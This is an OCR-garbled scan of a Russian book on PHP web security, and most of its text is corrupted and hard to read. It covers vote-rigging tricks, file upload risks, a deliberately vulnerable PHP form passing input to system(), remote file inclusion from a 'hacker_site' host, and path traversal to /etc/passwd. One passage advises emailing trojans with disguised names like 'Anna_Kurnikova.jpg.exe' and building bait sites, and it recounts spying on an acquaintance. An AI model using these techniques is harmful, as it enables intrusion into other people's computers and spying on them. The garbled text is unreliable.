npoute. Ecnu BbI XOTHTE BHECTM WIMEHEHHA B NICHTY HOBOCTEH, TO COOTBETCT-
BYIOLIMIA KO/ JIerko HailTi B HeGonbwiom datine news.php.

Ho xorza nporpaMma COCTONT H3 Heckonbkyx (aiiios, npu HecoGM0neHUM TPo-
CTHIX Mep 6e30MacHOCTH MOryT BOIHHKHYTh cepbesHsic npobnembl. [anee mbt
paccmoTpuM 9TH TIpoGnemsl, NIpaBaa, HEKOTOPLIE HX peweHya SyayT npeacTasies
Hbl ToABKO Ans PHP-cuenapues.
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daiin Cookies Gyaer cosaa. B atom ciyyae noaoiiner apyroii cnocod uaMeHeHHA
cueTyHKa.

2.1.2. BapuaHT HakpyTku Ne 2

Koraa nporpaMMKCTBI 3aMEHaIOT, YTO CHCTEMY rONOCOBAHHA HAKPY4YMBAIOT MEp-
BBIM CROCOOOM, TO OHH HRYMHAIOT CO3AaBaTh 3aMMTy. Cambilt NpocTeAIAR BapH-
aHT; Cpasy Moclie OTNPaBKA OTBETA OTKIIOYUT KHONKY (CAENATh ¢€ HEAOCTYNHOH)
€ noMoLLbIo JavaScript, ¥ BTOPas NONLITKa HAKATHA CTAHET HEBOIMOXHOM.

Tak kak HHopMaums o ronocobaHuu coxpansctca B Cookies, To HeoGxonumo ero
yaanutb. ins storo HyxkHo nepeiitu B nanky \Documents and Settings\Mms none-
sosarens\Cookies, rae Mma nonb3osarens —- 370 MMA YUETHOM 3anHCH, MO KOTO-
poft BbI BOULTH B CUCTeMy. 3/iech HaxoaaTcs dadnsl gopmata UMa nonbsosaTe-
na@anpec.txt. [Tocne cumsona "@" uner anpec Web-cafira, ¢ KOTOpOro noayueH
nawnbli Cookies. Haiinute daiist ¢ HyXHBIM rofiocOBaHHEM K NPOCTO YAANKTE €10,
TIOCAE YETO MOMXHO NOBTOPHTB NONBITKY.

TpHBeieHHbI BAPHAHT NOIXOAHUT K B TEX CITYHasX, KOTAA Bbl XOTHTE NOBTOPHTS FOM0-
coBaHue nepaiM cnocoloM (cu. pazo. 2.1.1), Ho daitn Cookies yxe cyllecTsyer,

2.1.3. BapuaHT HakpyTku Ne 3

HauGonee crofixas 3amuTa opraHusyercs nytem nposepki [P-azpeca, T. €. ronoco-
BaTh ¢ kaxxaoro [P-azpeca MOXHO ToNbKkO OMH pa3. TYT BO3MOXHD! ABa BapHRHTA.

=] Hpn HCNONB30BAHHH MOAEMHOIC NOAKTIOHEHHA IP-anpec Ha3Ha4acTca asToMa-
THYECKH. B 3TOM Cyyae ACCTATOHYHO NOAKIIOUHTHEA 3aHOBO, yTOGBI MONYYHTH
HoBbi#i [P-azpec, ¥ NOBTOPHTD FOIOCOBAHHE.

O Ecnu y Bac BbiieNeHHas MHMA, TO U8 IOBTOPHOTO FOMOCOBAHUS NONh3YHTECH
NIOAKITIOYEHHEM YePe3 aHOHHMHEIE MPOKCH-CEPBEphl, CIIUCKOB KOTOpbiX B HMIH-
TEpHETE NPEAOCTATOUHO.

OueHb YacTO NPOTPaMMUCTLI LIS 3AUTHL OT HAKPYTOK HCNOMB3YIOT yueT IP-anpeca
11 Cookies oaHOBpeMeHHO. B 3ToM ciiydae HYKHO 063aTeIbHO YIANATh COOTBET-
craytoumii Web-cality Cookies, HHaye cMCTeMa FONOCOBAHMA ONPEAETHT NOABOX.

I1pumeHeHue 3aummTei no IP-aapecy — soctaroywo ciokHoe aeno. Ouelb MHOrO
nostb30BaTeNel MuTepHeTa paboTaloT Yepes pasiHyiHbIe IPOMEXYTOUHBIE CETH, HO
uMeIoT 0K oblini [P-azpec, HanpuMep, MHOTME KOMM2HHH MPEIOCTABAAOT
uetyn k MHTepHeTy Ans CBOWX COTPYAHHKOB vepes npokcu-cepsep. Ecnu xors
€11 O/IMH COTPYIHHK TakoH komnaHuu nporosiocyet Ha Web-caifTe, T0 ocraibHue
HHOFCPHIOT TakytO BOIMOMKHOCTb, U NOITOMY Helb3s GyAeT roBOpHTS 0 Kukol-nuGo
00 LCK TUBIIOCTH O11pOCa.
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)
nepenonkenstiM W Web-cepsep nauser pabotats ¢ nepeGosMH WM BEAineT
3 CTpos.

Hmenno nostomy s 6bt BoOGLIE HE PEKOMEHIOBAN PEANM3OBLIBATE 3arpy3Ky dad-
nos. Ho naje ecii BbI PEIIMANCH HA 3TO, TO OrpasmM4bTe pazMep akina Kak MOX-
HO MEHBIIUM 3HAYSHWEM W 3arpy)KaliTe B AMPEKTOPHIO, KOTOPas He GyNeT BXOHTE
8 kopenb Web-cepaepa, 1. e. ue Gynet noctynua uepes Gpaysep.

4.3.3. CoxpaHeHue chaiinos B 6ase faHHbIX

Kak Mbr yxxe BBIACHUITH, 0PH 3arpy3ke (ainos OacHOCTE NPEACTARIAIOT EI0 UM
# conepuMoe. C NOMOUILIO HMEHW XaKep MOXET YKa3aTh Ha CHCTeMHbIRt daiin
¥ B 3aBUCHMOCTH OT AeHCTBH (a TAKKE NPaB A0CTYNA B CHCTEME), BBIMOIHASMBIX
CLEHAPHEM, MOXET NIPOCMOTPETH 3TOT (aiin UK nepesanucath. Takke xakep Mo-
KET MONYYHTh BOIMOXKHOCTb COXPAHMTH COGCTBEHHBIC [laHHBIE WIM 3arpy3uTh
3OBPEAHDIH KOA.

A uTo ecau coxpaHate ainet B Gase nanubix? Torma we Gynet ofpawenna
K ¢aiioBol cHCTEMe, a 3HAUMT, He GyneT BepOATHOCTH YBUACTh WAK Nepesamu-
caTh cucTeMHble Qaiine. Ho e 3a6kizacM, YTO 3arpy3ka NPOMCXOAMT BO BpEMEH-
HYI0 JMPEKTOPHIO, 3 NOTOM OTTyna yxe B Gasy mauueix. Tak uto ofpawennii
k ¢aiinosoii cucTeme He HabexaTs.

EauacTeensas npoGaema, KOTOPYIO BbI pEilaeTe B ITOM CAydae: BOIMOKHOCTH
BBIMOAHERKA daiina, NOTOMY 4TO K HeMy B JHO6OM CAydae HET MPAMOTO A0CTYNa
uepes URL. Ho 3aro npuoGperaere apyryio: BosmoxHocTs SQL-uubekuuu, Xakep
MOXET COXPaHUTE B (aifd Takoe COAePXKMMOE, YTO AACT BOSMOXHOCTh BHEAPHTE
coberaennbtii 3anpoc B SQL-3anpoc, HCmosb3yeMbli cUeHapueM ANS AOCTYRa
k 6a3e maunbix. OcylecTBASHTE NpoBepKy UMeHH dalina U ero CORePXKUMOTo, KaK
H n106OTO APYroro NapaMeTpa, NOAY4aeMOTo OT NONb3OBATEIA.

4.3.4. ObpauieHue x chainoBoi cucteme

He Tpynuo poranatecs, uTo mobnie obpawetns x $aitnosoli cucTeme coaepxar
yrposy 6ezonacHocTH. JIonycrum, 4TO y Bac eCThb ClieHapHid, kOTOpHIi uepes ma-
pameTp nosyyaer WMa Gaitna KM ero YacTh, YMTAET cofepXyuMoe Dafna U sbiso-
NMT Ha 3kpai, [Ipumep TakoTo cleHapHs MOXKHO YBUAETH B NMCTHHTE 4.3,

<HTML>
<HEAD>
<TITLE>Injection test</TITLE>
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NOTOMY YTO OHM B3aMMOCBA3AHHY MOBLIIIEHHE MpoussonnTensHocTH CYBJE mo-
JKET HEeTATHBHO CKa3aThCd Ha mpoussoawutenpHocTH SQL-3anpoca. Spkum Tomy
OPUMEPOM MOTYT CiTy)KMTh MHIEKCh!. EC/in Bbl CO3AAIM WHAEKS /1A MOBBILUSHHS
ckopocTd paGoTe! ¢ TaGMMLEH, TO 370 He 3HauMT, yto SQL-3anpoc Gynet paGoTath
66ICTpEE, MOKET ObITE U HAOGOPOT, 0coGeHHO P CO3aHMM GOMLLIOTD YKCIa HH-
eKCOB. .

Jausan khura He Asnsercs pykosoacteom no CYB]I, noaTomy onTUMHaLMIO MBI
paccMOTPUM ToAbKO B ofimux weprax. 3a 6osee nonpoSHoil nadopmauneit obpa-
WAHTeCh K CieMa M3MPOBaHHON UTepaType.

8.2.1. OnTumusauun SQL-3anpocos

HeKoTOopbie MPOrpaMMICTBI CUHTAIOT, YTO 3aNpOChi PabOTAIOT OXHHAKOBO B AKO-
6ol CYBJI. 310 6onbuas ownbka. Helicteurensyo, cywecrayer cranapt SQL,
¥ 3NPOCHI, HATTACAHHBIE HA HEM, OYIYT BOCTIPUHATEI B GONBIIMHCTEE CHCTEM OfH-
#ako80. Ho 10abKo "BoCTIpHHATHI", 8 WX 06paBOTKA MOXKET MPOMCXONUTE COBEP-
LIGHHO TO-PasHOMY.

Makcumaibble NpOGAEMbI BO BPEMA NEPEHOCA NPUACKEHUS MOTYT MPUHECTH
pacwmpenis f3bika SQL. Tax, wanpumep, B MS SQL Server ucnonesyercs
Transact-SQL, a B Oracle — PL/SQL, u ux onepaTopbl COBEPIIEHHO HECOBMECTH-
Mbl. Bbf nomKHbI 3apasee onpeneantbes ¢ ucroabsyemol CYBI, wrobbr we
CTONKHYTHCA ¢ BOIMONKHBIMM npoGreMaMu B Gyayimem.

Ho aaxe ecny Bbi IIEPEBENETE CHHTAKCHC 3aMPOCOB C OJHOTO A3bIKA HA JPYTOf,
npo6rieM MO-MPEXHEMY OCTAHETCA 04EeHb MHOTO. DTO CBAAHO C PAIMYHBIMYE ap-
XUTEKTYPaMy ONTAMU3ATOPOB, pasHuueli B Girokuposkax u T. 4. Eciu kox mpo-
rpammel npu cmene CYBJ] 1pefyer HeaHauUTENLHEIX W3MEHEHMH, TO 3ampOCh!
HYXXHO TTePeNiCEIBATE MOHOCTLIO. )

Hecmorpa Ha Gonbiuue pasmauna mexny CYBJI pasHeix npoussoautencii, ecth
14 Oﬁl.lllde CTOPOHBbI, Hanpumep, GONBLIMHCTEO U3 HWX BHINOJHAIOT 3anpochl cie~
nytoumm obpasom:

O pasGop 3anpoca;

0 onTuMuzaums;

a TeHEpauHs niaHa BeIMOAHCHAA,
1 BLnonHeHue 3anpoca.

1o Beero AUILb OGN NNaH BLITONHEHHA, 8 B KakAo#H KoHkpeTHoH CVB]I konu-
HECTBO UIAFOB MOXKET MEHATLCA, Ho T/7aBHOE COCTOMT B TOM, YTO MEPEX BHINOMHE-
HHEM FIPOMCXOAMT HECKONBKO 1AF0B O MOATOTOBKE, KOTOPbIC OTHUMAIOT ZOCTa-
TOYHO MHOrO BpemeHH. I1oc/e BbINOSHE YA 3anpoca HCMobIoNANILIH fu1aH CyaeT
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B nporpaMMy AeiicTBusA, HANpUMep, Mepe3arpyaka KOMNbIOTEPa, BOPOBCTBO Napo-
neknT. &

Kak 3a6pacsiBaTh TpoaHckyio nporpammy? CaMblii pacnpocTpaHenHbiil criocob —
AWIMK ANeKTPoHHOM nouTsl. Mpocto saeTe ucnonuseMomy daliny cepsepHoi yac-
TH Kakoe-HWGYIb NpHAJEKATENbHOE MM W OThpaasfere COOBIIEHHE XepToe,
B TekcTe nMcbMa JOMKHBI GbIT MATKHE, HO 3aMaHUMBble TIPU3BIBBI 3ANYCTHTH
npukpensieHHbiil Galin. ITo To e camoe, UTO M pacnpocTpaHeHWe BHPYCOB,
NHCBMa C KOTOPLIMHE Mbl BHIWM KX/bIH AeHb. EC/IH nonb3oBaTes 3amycTHT cep-
BEPHYIO HaCTe, TO CYMTaliTe, YTO Bbl CTANH U2PEM Ha ero komnbioTepe. Tenepb
BaM GyAeT JOCTYNHO BCe, YTO MOXET A% BAC CAeNiaTh GOEBOM KOHb.

Kakoe nate ums dafiny TPosHCKOA nporpammsl, YtoGbl 3aHHTEPECOBATb NO/b-
sosarena? OC Windows oueHb 4aCTO He nokasbiBaeT pacllMpeHus BCeX 3ape-
FMCTDHPOBAHHBIX B CHCTeMe THMoB aiinos. Ecnu Bl Hasosere Oaitn
Anna_Kurnikova jpg.exe, o OC cnpaver nocrentee pacumipenie (exe), 1 nobok
NO/B30BATENTb NOYMAET, YTO BUAHT (aiin usoGpaxenns. JIna Gonbuied HAREKHOCTH
Nyule NpUCBOMTH Takoe HMA: "Anna_Kurnikova.jpg exe". B srom crysae, faxe
€CITH paciIHperHe He MPAYETCA 10 YMONUAHHIO, erc BCE PaBHO BUHO He Bymet. .

51 APXALI OTNPABAAA APY3bAM TPOAHCKYIO MPOTPaMMy M0 HMEKTPOHHON nouTe,
# o6a pasa npouecc npowen ya4wo. [epebiii pa3 5TC IPOM3OLLTO Ha cnop, KOTAA
MOH ApYT CKasall, 4TO 4 He CMOTY 3apasuTh IO KOMMbIOTEP TaKMM CriocoGom.
Bropo#t pa3 s cozan TPOSHCKYIO APOrpaMMy, ¢ NOMOLIbI0 KOTOpO#H cobupancs
ROAWIYTHT HAZ MOMM 3HaKOMbIM. JIIs 3TOMO 5 MCNOMNE3OBAN OHYEHb MHTEPECHBIA
1 spdexrusHoii Metoa, Mrak, 4To6bl NONB3CBATEND 3aMYCTHI HYXHYIO IPOrpaMMmy,
HYXHO 32CTABUTh £ CAMOrO CKA4aTh W 3aNYCTHTb HCHOMHAEMbII Gadn. S oTnpa-
BMJI NMCBMO, B KOTOPOM NpPOpEKIaMUpoBan GeClnaTHyio nporpaMMmy, KOTOpYHO
MOXHO ckauarh C 3apaHee CO3aHHOro MHolo Web-calita, [nasioe — spiGpath ee
MM3, 4TOBbI OHO 3aMHTEPEecoBano nonbosatens. Hanpumep, ecn ieprsa moGur
PHCOBATH, TO MOXHO NPEMIOKHTE CkadaTh HOBBIH rpaduyeckuil sddext.

TIucLMO MOXET BBIMTAAETD, kak cnam. Ckonbko G5l He TOBOPHAH, HO BCE Mbl UHTa~
eM Uy xOTs 6bi 3arnanbiBaeM B Takie cooGieHus. Ecnu cpasy 3aunTepecosath
KepTBY, TO OHa 0643aTeNLHO BBLINORHHT Bailly npockGy. BoaMoKHO, nepaoe nuck-
MO NONAKET B KOP3HHY, HO XOT4 Gbl B TPeTHii pa3 oHO GyA€T NPOUHTaHO, W Bb
n06bereck HyKHOrO pesyabTaTa. Bofce Tpex NoNbITOK MOKHO HE AENaTh, HOTOMY
YTO WH Y EPTBbi CTOMT NOYTOBbIH (HILTP, WIM Bl €r0 He 3aUHTEPECOBANH.
Hy)HO NpUAYMBIBaTL HOBYIO NPOTPAMMY U COMHHATS APYrOe NUCAMO.

Urofbl skepTBa HUYEro He 3anoao3puia, Web-cailT JoKeH BBITIALETE K2K MOXHO
npodeccHOHANbHES, CONEPKATh ONHCAHHE BOSMOXHOCTEH CKauuBaeMOWH npo-
TpaMMbt M CHUMKH 3kpaHoB. Bea aTa urdopMauns Geperca ¢ peansoro Web-
caliTa Kako#-HnGy &b HE O4YEHb 3HAMEHUTOM (GHPMBI WM NPOrPAMMUCTA-OAUHOUKH.
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4.3. 3arpyska tpainoB

He 6ymy rosoputs, 4To 3arpy3ka Qaitnos omacHa, a Jydille CKaXKy, YTO OHa
cBepXoNacHa. 3aaua MPOrpaMMKCTa OrPAHHYNTE BO3MOKHOCTb 3arPy3KH NAHHBIX
Tak, 4yT00bl XAKEpP HE CMOT 3ArPY3UTh HUHEro, Y10 OH CMOXET HCIONb30BATL MK
BIIOMA.

Kak u nrobas npyras oTnpaeka nasssix, Gaiisl MoryT nepenasatsca Web-cepaepy
METOIAMK PUT WK POST. MeTon POST MBI yxe paccMarpuain (cu. paso. 3.4.2),
2 BOT PUT MOKA €INE HET.

Meros puT coxpanser nauHbie o onpenenentoMy URL u Xopowo noaxouT ans
nyGnukauuu AanHbX Ha Web-cepaepe. Tonkko ecTh ofiHa npobnema: 3TOT METOA
se paGotaet 8 PHP 4 u3-3a ownbku; k ToMY ke, OH IUI0XO MOAXOAMT 14 niepeaa-
4n ¢aiinos us HTML-opm. Meton PoST Gonee HaAeKHBIA U HOCTATOMHLIN, No-
3ToMy GYAEM UCITONB30BATD TOABKO €ro.

Teneps nocMoTpuM, kak paboTaer naunbrit Meton. Haunem ¢ HTML-dopmer ana

OTIIpaBKH:

<form action="http://192.168.77.1/1/post .php* method="post”
enctype="multipart/form-data’>

Galiny @A oTNpaBKK

<br><P><input name="filel" type="file">

<brs><Pr<input type="submit" value="Send files">

</ form»

B cBoiicTBax HOpMbI MOMUMO action C yKasaxueM cliesapus o6paboTku U MeTota
OTIIpaBkX HEOOXOAMMO YKa3aTh CBOMCTBO enctype, KOTOPOE OTPENENseT, B Kakoi
KOJMPOBKE NOMKHBI OTNPABASTLCA AaHHbte. (Mo yMONUaHMIO OHO COACPIHT
application/x-www- form-urlencoded, T. €. TEKyLIyio konuposky gopmsr, Ho ana
¢aiisios, ocobenno GUHAPHLIX, KOAUPOBKA HE HCIOIL3YETCA, NOITOMY Heobxoau-
MO U3MEHHTE 370 CBOMCTBO HA multipart/form-data.

Jlns BBona uMenn (aiiaa HCnoAb3YeTCA 3eMeHT ynpasnenus input. Jina yaober-
Ba TUR (CBOMCTBO type) 5TOTO 3eMEHTA PaBed file. DTOT THN NOAAEPNHUBACTCS
GonbuuucTom Gpayiepos M oToGpaxcaeT Ha 3Kpase He TONLKO IIOSie BBOAA, HO
W KHOTIKY fina BhiGopa Qakina. [To HaxaTHIO 310l KHOMKHK Ha sxpane GyaeT moas-
NATLCA CTAHAAPTHOE OKHO BhIGopa attna (puc. 4.4).

A xax 6yneT NpoMCXOAUTH CaMa nepejaua NaHHLIX? Bpaysep He MoxXeT co3naTh co-
eauHenve ¢ QaiiioM CUEHAPUA W NEpenaBaTh eMy JaHHbie. 310 GYHET CAULIKOM
CIIONHO, & B HEKOTOPBIX CTY4adX MPOCTO HeBoaMOXHO. Ho Gbiio naitaeHo Benuko-
FlefHoe pellieHue: TIOCNE HAXKATHA KHOMKA OTNIPaBKyU AaHHBIX dalll 3arpyxactca so
BPEMEHHYIO IUPEKTOPHIO ¥ TO/BKO TOr/A 32MyCKAeTCH yKa3aHHBIA CUSHBPHI.
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case "gif":

case "png":

break;

default:

die("<P>This is not image®):

if (copyl($filel, " /var/www/html/files/".$filel_name))
print{"<P><B>Camplete</B>"} ;
else
print ("<P>Error copy file 1</B>");
2>

Ho atoro ne noctatouno. He noMeiraet no konuposanus aiina nposeputs pas-
Mep wi06paxenua. Jlaxe ecnu y Bac HeT OTpaHMueHua Ha pasMep dakina, crenyer
BLI3BATE (YHKUHIO getimagesize. JTOH (QyHKUMM Nepedaetca nyTe k dainy,
a B pe3ynbTaTe Mbl NIONY4aeM PaMep HaXOAAlerocA B HeM MioGpaxenus. Ecru
B MOMEHT OFIPE/IENEHHA PA3MEPOB NPOX30MLIA OLUIMGKA, TO NIEPe] HAMK He rpadHue-
cxuit daiin, a o6man. Crenyrownii TpuMep MOKa3bIBALT, KAK MOXHO BBIMONHUTH
NpoBepKy KOPPEeKTHOCTH daiina uepes onpexenexye paimepa uobpaxesus:
$im _prop=getimagesize($filel);
print(“<p>$im prop[0]x$im prop[1]*);
if ($im prop(0]>0)-
{
if (copy($filel, "/var/www/html/files/".$£ilel name))
print ("<P><B>Complete</B>");
else
print ("<P>Error copy file 1</B>");
}
else
die("Image size error"

Qynkuua getimagesize BOIBPAIIAET MACCHB K3 CBOWCTB rpadmueckoro daiina,
B 5TOM MaccuBe 3/IeMEHTB HYMEPYIOTCR C Hy/1S 1 COAEPXKAT Cledylollee:

O wwnpuny u3obpaxeHus;

O BeICOTY H300paKenns;

0 mun, rae 1 — GIF, 2— JPG, 3 — PNG, 4 — SWF, 5 — PSD, 6 — BMP. 7 — TIFF
(popmar Intel), 8 — TIFF (dpopmat Motorola), 9 — JPC, 10 —JP2, 11 —JPX;

1 crpoKy Bu/la: height="yyy" width="xxx".
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pHCKOBaN BHIGHPATL MANONPUMETHYIO nporpammy. Jleno B Tom, uTo mue}}lpo-
rpaMMbl O4eHB 4acTo G6pOCAIOT U O CBOEBPEMEHHON MOAAepKKe MOXKHO Bymer 3a-
GbiTh. B 3TOM criyuae, ecin ROABMTCA OWMOKa, HCNPRBIATL €€ NPHIETCH caMO-
CTOATENLHO, H BCe npofnembl NOAACPKKH IATYT Ha Bac.

B mo6oM cayuae, eciiv Bbl YCTAHABIHBAETE KaKoi-THGO cLeHapHil, TO BbI AOMKHBL
XOTb HEMHOTO Pa3GHPATECR B AILIKE NPOTPAMMUPORHIA, KOTOPbIH OH HCAOIE3YeT —
HHOr/I2 HCAPABANTH OWMEKK NPUXORUTCS CAMOCTOSTENBHO.

MoH pexoMeHAaLMK:

1. Ecad ecTb AeHbIM H BO3MOKHOCTD, @ TAK)KE, ECTH Bbl YBEPEHbI B CBOHX CHITAX,
TO NyHille HANKCaTh COBCTBEHHBIN CLEHAPHIL.

3. EcnH npoeKT koMMepUeckiid, i Bbl He YBEpEHb! B CBOMX CHAX, TO Jyylle BOC-
NOMb30BATBCA YCIYTaMH NPo(eCCHORANOB W 3aKa3aTh APOrpaMMy Y CTOPOHHHX
paspaboTuHKOB,

4. EciH npoeKT He KOMMEpPHECKHit, TO MOXHO HCHO/Tb30BATh CTKPBITOE PelleHHUE,
TaBHOE — BOBPEMs er'c OGHOBAATH.
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Jlna Hauana s sanMcan fpocTeduni cueHapuii (nuctunr 4.1), comepxaiuii yss-
BUMOCTD.

<HTML>
<HEAD>

<TITLE>Injection test</TITLE>

</HEAD>

<BODY>

<center><h3>Injection test</h3></center>

<hr>

<form name="syst" action="sys.php" method="get">
Command: <input name="camand” size=50>

<input type=“submit" value="Find">

</ form>

<hr>

<?
if (isset($_GET['ccmmand']))
{
$comand = $_GET[’'command'];
print("Executed command: <b>$cammand</b><P>");
print(system($command)) ;
}

7>

</BODY>
</HTML>

OtoT Koa oTobpaxaeT GopMy Ang BBOAA KOMaHk, KOTOPas nepeaaercs dyHKung
system, Pe3synbTar BeINoNHeHns oToGpakaetca Ha Web-cTpanuue.

3anycTHTE NpUMep, BBEAKTE B fone BBOda komaHay OC, Ha KOTOPOH y Bac yc¢
Hosnen Web-cepep, u naxmure kuonky Find. Ecnu s7o Linux uam apy)
UNIX-nono6ras OC, To B kauecTBe NpUMEpa MOXHO BBECTH KOMaHay ls. B
3yNBTATe Bbl AOMKHBI YBUAETb HA JKPaHE COACPIKMMOE TeKylieH AHPEKTOPH!
HanpHMEp, Kak NoKaszaHo Ha puc. 4.1.
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KoTOporo A 6kl BuGpan yro-HuGyaL GeccMbicnentoe, Hanpumep, fdfgdg. B sTom
cnyuae 8 crpoke URL mepenaerca ums mupekTOpid W Qaiina Ge3 paciumpeHns,
2 pacillpeHu¢ MOACTABNACTCA IPOTPAMMHO, HTO PEIIAET TONBKO OAHY OEHDb BN
HYI0 npoGrieMy, a AaJieko He Bee,

JlomycTHm, BITOMUIMK XOUeT IpocMoTpeTh (haiin mapoself. s 3Toro OH BbimON-
Hser zanpoc:  https//www.sitename.domain/index.php?dir=/etc&file=passwd.
Cuenapuit ienaeT OCHOBHbIE IPOBEPKH, OGLEAUHACT NapaMeTp dir ¢ NapaMeTpoM
file ¥ nporpammioc JoGasnser pacumnpenne fdfgdg. Haxe ecan » napametpe dir
HET TIPOBEPKH Ha HANWYWE CASWA, B pesynbTate nonysaercs: /etc/passwd.fdfgdg.
KoHeuHo xe, Takoro (alina He CylleCTRYeT B CHCTEME, U CLIEHAPHH BbINACT Co06-
menue o6 owubke.

TlpuGasiiesye paclUpeHus ellle He TapaHTHPYeT 5e30macHoCTb, NOTOMY UTO 3Ty
nponemy sierko o6oiTH. JIOMyCTHM, 4TO Y BaC B Ka4ECTBE NapaMeTpa nepenaeTca
uma daiina, a B Ka¥eCTse paciunpeHna nporpaMMuo noGasnaetca news.php, Oto
He cyualinbili npUMep, 4 BUIEN TAaKOE B peanbHoM npunoxkenuy. Teneps, 4To6el
OOOHTH 3aLIMTY, XaKEPY HY>KHO BBITIOAHMTH CACIYIOLIME WATH:

1. Cozpate ua ceoem Web-cepsepe 3noHamepeHuuiit daiin ¢ nio6uM uMeHeM
W pactuperdem news.php, nanpumep, http:/hacker_site/hack.news.php.

2. Mepenare a7oT ¢ailn B kauecTse napamerpa: hitp://www.sitename.domain/
index.php?file=http:/hacker_site/hack.

Tenepp Ball cueHapuH BBINOAHWT conepxwMoe Gaiina http:/fhacker_site/
hack.news.php, eciu daiin nOAKTIOHAETCA C NMOMOLIBIO GYHKUMH include() WM
require().

Xota zawuTy ¢ nporpammubiv aoGasneHuem paclIMpeHis MOXKHO OGOWTH, paa
APOCTLIX TIPOBEPOK K 3AWNT CACAAET Ball JOM KPenOCTLIO. Ecan noMamo fpo-
rpaMmHoro HOGBMBHH}I PaciiMpeHHa CaeaTh NPOBEPKY Ha CHMBON » TO XaKep
YXKE HE CMOXKET NPOBECTH TAKYIO aTaky. B kauecTse JIOFIOAHEHYA K 38UIHTE Heob-
XOAMMO TpOTPaMMHO 100aBAATH ¥ HAYAO MYTH, a BCE MoAKMOuaemble dainbs
cnoxuth BMecTe. Hampumep, nomkniouaembie daiinbl pacronosxeHel B AUPEKTO-
puy /var’www/html/inc » umeroT pacuupenne .dat. B aTom ciyuae nyTs k daliny
AOAXKEH BHIFAAAETEL TaK:

var/www/html /inc/$file.dat

3peck noapasymeBaeTca, HTO NEPEMEHHan $file COACPHMHT HMA MOJKMIOHAEMOTO
aitna Gesz pacwuperns. Ho u Tyt ecTb oaHa TOHKOCTb. JIOMyCTUM, 4TO Xakepy
ynanoch kakum-nu6o ofpasom sarpysute Ha Web-cepaep cBoii taiin crienapus
non umenem hackfile, nanpumep, B ofwenoctynHyio aupexropuio /tmp. YroGeyr
HOAKIIIOUHTL 3TOT (aiin, xakepy aocTaTouHO maTh emy pacurapenve .dat (hack-
file.dut) n B kauecTse napametpa sfile nepenats nyTh ../././.J . imp/hacklile.
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W €C/M NEPeMeHHAs PUCKYET OCTAThCA He WHULLHANIH3HPOBAHHO, TO 210 €€ HCTIOAb-
30BaHKs HEOGXOAUMO IPUCBOUTE IHAUCHHUE 110 YMOMHAHUIO,

B nanHOM criyyae 3HaueHMe aBTOMATHHECKH CO3AaBAGMON NepeMeHHON monanaet
B QYHKUMIO include, A 3HAYUT, XaKep CMOXKET CAEAATH BCE, O YEM Mbl TOBOPHIM
panee (em. pazd. 3.1). Bee 32BUCKHT OT TOTO, KAK HACTPOEHB PARA NOCTYIA: KAKHE
$alinbl MOXET YRUAETL XaKEP M KAKHE KOMAHALI MOXKET BBIIOAHATE. Ecnin 661 318
nepeMenHas nepeasanack 8 SQL-3anpoc, TO Xakep MOAY4HA 6bi BOIMONKHOCTH
peanusosath ataky "SQL-anbekuns".

Kak xakepbs HufyT monoGHoro popa ownbku? Bez Hamuuua UCXOAHOTO KOAA Hal-
TH HENPOHHULIMATHIUPOBAHHLIE [TEPEMEHHbIE OYEHb CIIOXKHO, MOITOMY, ECNH Ha
BameM Web-cepeepe MCTONB3YIOTCA CAMOCTOATENBHO HATMCAHHBIC CLEHAPHH,
chenafite Tak, 4ToGbl OHM HE MOMANA B PYKM Xakepa. TO 3HAUMT, YTO HE HYKHO
auwupoBaTL rAS-TO MX KOA, OrPARHUMTL AOCTYT M HE CO3AARATL PEICPRHLIE KO-
MK HA CepBepe.

TTporpaMMHCTLI O4eHb IOGAT CO3aBaTh PEIEPBHEIE KOMMH, HAaNPHMEp, ecnH dalin
Ha3biBaeTCA index.php, TO MPOTPAMMUCT MOXKET CAENaTh KOTMIO C MMEHeM in-
dex.bak nnu index.old. Takue chabiner Web-cepeepoM He BRITOAHSIOTCA U €GN
BBecTH anpec http://servernamefindex.old, To xakep YBHIHT HCXONHBIA KOX 38~
pesepaupoBanHoro gadna. [a, ero CoaepKUMOE MOXKET HEMHOIO YCTapeTh, [10TO-
My 4TO OCHOBHOH CLIEHapHH MOKET COXePXKATh HOBOBBEIGHNSA, HO OCTAETCA BEPO-
ATHOCTB, YTO HaMaeHHan oiKGia MOXKET IPUCYTCTROBATE H B paboueli sepcHH.

Ecsii ucxomHeiit koA HEROCTYTIEH, TO Xakep GYACT MbITaTbCA MEPEAaTH Hepes Bee
HaliieHHble TTApaMeTphl HenpaBmIbHbIe 3HaucHUa. HeT, 5To ne nomkeH Gbith My-
cop, KOTOPbIH npuBeneT K GananbHOH oWMEKe, 5TO NOMKHBY GBITh HMEHHO HEMpa-
BiTbHbIE 3HAYeHUA. Hanpumep, ecnu nepemeHHas 10MkHA CONePKaTh YHCISHHOS
3HaueHue, TO Xakep SyaeT NbITaTECA NepenaTh MakcHMalisHo GonbLoe yKCO, Ko-
TOpoe, MpH OTCYTCTBMM NPOBEPKH, CLeHapHii He oGpaGoTaer, sciecTBHE 4ero
fepeMeHHan okaxeTcs mycTol. [ToMuMO 3TOTo, MOXHO TIOMLITATLECA HE YKA3LIBATH
ONpesiesieHHble MapaMeTpsl, Belb MoXeT GbiTh Cyali, KOTa nepeMeHHas B Kofe
He APHHUMAET 3HAYEHHS IPH OTCYTCTBUY OTIPEIENEHHOTO NapaMeTpa, HanpUMep:
if (isset($_GET['where'l))

(

Sfile = ''; // Vummamsauws

if {$_GET['where'l==1)

$file = 'news/news.html';

)
incluge(sfile};

I3 jaHHOM Chywae, ecly MApaMeTp where NEpeaH CUEHAapHIO, TO NEPEMOHHAK
$tile GyHAeT MIMUMANH3KPOBAHA KOPPEKTHO, HHAYE OKaXKeTCH NycTol,
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3 row in set (0.00 sec)

3 crTpoxu 5 HaGope (Bpesst BemovHenus 0.00 cemyHm)

Ha moem cepsepe Tpu Gaskt gansbiX: minibb, mysql U test, [Tepsas M nocacasss
CO31aHbI MHO#H ¥ COAepKaT [MONb30BATENBCKUE NAHHBIC, 3 Gaza NaHHBIX mysql 4B~
AeTCA cucTeMHOM. B Heil XpaHaTca cHcTeMHble TabnuLbl, KOTOpble MOGOH Xakep,
3HACT HAU3YCTh, TIOTOMY YTO OHW MOTYT PaccKa3aTh OeHb MHOTOE.

Jina npocmoTpa Tabnuu B Tekyweh Gase AaHHbIX HEOGXOAUMO BHITIONHUTD ONepa-
TOP SHOW TABLES. Ecny BLITOAHHTE 3Ty KOMaHRy B Gaze JHAaHHBIX mysql, TO BH
